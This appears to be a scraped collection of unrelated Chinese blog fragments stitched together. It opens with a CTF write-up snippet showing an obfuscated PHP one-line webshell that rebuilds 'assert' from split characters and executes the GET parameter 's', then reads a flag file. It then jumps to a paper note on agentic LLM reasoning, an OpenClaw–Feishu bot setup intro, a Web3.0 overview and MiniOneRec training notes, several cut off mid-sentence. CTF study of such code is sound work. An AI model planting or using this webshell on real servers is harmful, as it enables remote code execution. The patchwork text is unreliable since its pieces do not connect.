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$poc="a#s#s#e#r#t"; # 定义一串字符串 $poc_1=explode("#",$poc); # explode() 按照 # 分割上面字符串，留下 ["a","s","s","e","r","t"] $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 拼接后 assert $poc_2($_GET['s']) # assert($_GET['s'])看到是get请求，说明可以在url中传递参数s
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分别为flaga15808abee46a1d5.txt和index.php
直接查看flaga15808abee46a1d5.txt即可
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title: 2026-01-19-论文阅读-Agentic-Reasoning-for-Large-Language-Models date: 2026-01-19 tags: * 论文阅读 * Agent * LLM 《Agentic Reasoning for Large Language Models》 一、论文基本信息 * 原文链接,翻译链接 * 作者:Tianxin Wei1† Ting-Wei Li1† Zhining Liu1† … 关键词:Agentic AI,LLM Agent,Agentic Reasoning,Self-evolving。 二、研究背景与问题定义 A. 范式转移：从“静态生成”到“智能体交互” 传统 LLM 推理（LLM Reasoning）主要被视为一种对静态输入的单次（One-shot）或少数次（Few-shot）
从零开始：OpenClaw 安装 + 飞书机器人全流程配置指南（附踩坑实录） 本文面向完全零基础的小白，手把手带你从一台干净的 Linux 机器开始，安装 OpenClaw、配置 AI 模型、对接飞书机器人，最终实现在飞书里和 AI 直接对话。全程附带我自己踩过的坑和解决方案。 目录 * 一、OpenClaw 是什么？ * 二、环境准备 * 三、安装 OpenClaw * 四、初始配置（onboard 向导） * 五、飞书机器人配置全流程 * 六、踩坑实录 & 避坑指南 * 七、验证一切正常 * 八、进阶：常用命令速查 一、OpenClaw 是什么？ OpenClaw 是一个开源的 AI Agent
优质博文：IT-BLOG-CN 一、简介 Web3.0也称为去中心化网络，是对互联网未来演进的一种概念性描述。它代表着对现有互联网的下一代版本的设想和期望。Web3.0的目标是通过整合区块链技术、分布式系统和加密技术等新兴技术，构建一个更加去中心化、安全、隐私保护和用户的互联网。 Web 3.0具备四项主要功能 【1】去中心化： 去中心化的Web应用程序是Web 3.0的关键功能。其目的是在去中心化网络中分发和存储数据。在这些网络中，不同的实体拥有底层基础设施，用户直接向存储提供商付费以访问该空间。 去中心化的应用程序还将信息副本存储在多个位置，并确保整个过程中的数据一致性。每位用户可以控制其数据存放的位置，而不必将其移交给集中式基础设施。去中心化的互联网用户可根据需要出售自己的数据。 【2】去信任性： 在集中式Web应用程序和服务中，用户通常需要信任中央权威机构来管理其数据、交易和交互。这些中央权威机构可以控制用户数据，并且可以操纵系统的规则。数据可能存在安全风险或管理不善，从而导致用户信息丢失或滥用。 相比之下，Web3引入去信任性，因此用户可以在无需信任任何特定方
github仓库：https://github.com/AkaliKong/MiniOneRec 技术报告论文：https://arxiv.org/abs/2510.24431 找了一个论文阅读辅助工具：https://www.alphaxiv.org/ 代码 https://github.com/AkaliKong/MiniOneRec SFT在做什么 前置：数据集 代码路径：MiniOneRec/data.py 类Tokenizer：给普通的分词器多包装了一层，可以处理连续的bos/eos的特殊字符串。 SidSFTDataset 多样化的指令 任务：输入用户最近交互过的item列表，预测用户下一个交互的item SidItemFeatDataset sid2title或者title2sid任务 FusionSeqRecDataset 带意图识别的商品推荐 代码 代码入口：MiniOneRec/sft.py 1、